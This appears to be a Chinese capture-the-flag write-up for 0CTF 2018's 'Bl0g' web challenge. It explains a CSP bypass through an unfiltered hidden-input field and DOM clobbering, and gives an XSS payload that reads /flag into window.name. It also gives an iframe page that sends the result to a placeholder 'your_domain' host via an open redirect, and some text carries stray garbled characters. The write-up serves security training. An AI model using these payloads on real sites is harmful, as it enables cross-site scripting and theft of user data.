1.CSP
Content-Security-Policy:
script-src 'self' 'unsafe-inline'
Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
這段csp意思就是,無法引用外部js,也就是<script>的src屬性無法引用外部js
插入<script></script>還需要nonce-{random} 如:<script nonce="hrNrmOz0PeaNWcdXDmphINN9ZBo=" src="/assets/js/config.js"></script>
2.effect參數(shù)
POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
title=a&content=a&effect=nest
effect字段會插入到頁面中的<input type="hidden" id="effect" value="{effect_value}">惠遏,但這里實(shí)際上是沒有任何過濾的,也就是說我們可以通過閉合這個(gè)標(biāo)簽并插入我們想要的標(biāo)簽,需要注意的是轿衔,這個(gè)點(diǎn)只能插入70個(gè)字符。
插入之后因?yàn)槿鄙賜once,所以代碼無法執(zhí)行
找到http://202.120.7.197:8090/assets/js/article.js
$(document).ready(function(){ $("body").append((effects[$("#effect").val()]));
});
瀏覽器有一定的容錯(cuò)能力睦疫,我們可以通過插入<script>害驹,那么這個(gè)標(biāo)簽會自動閉合后面config.js的</script>,那么中間的代碼就會被視為js代碼蛤育,被CSP攔截宛官。
最后構(gòu)造 payload 將 flag 寫入到 window.name :
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
利用window.name+iframe跨域獲取數(shù)據(jù)
http://www.cnblogs.com/zichi/p/4620656.html
提交 URL :
http//202.120.7.197:8090/login?next=//domain.com/evil.html
evil.html 通過 iframe 內(nèi)容讀取 window.name:
<iframe src="http://202.120.7.197:8090/article/3860"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://your_domain/?'+frames[0].window.name},1500)
</script>
links:
https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup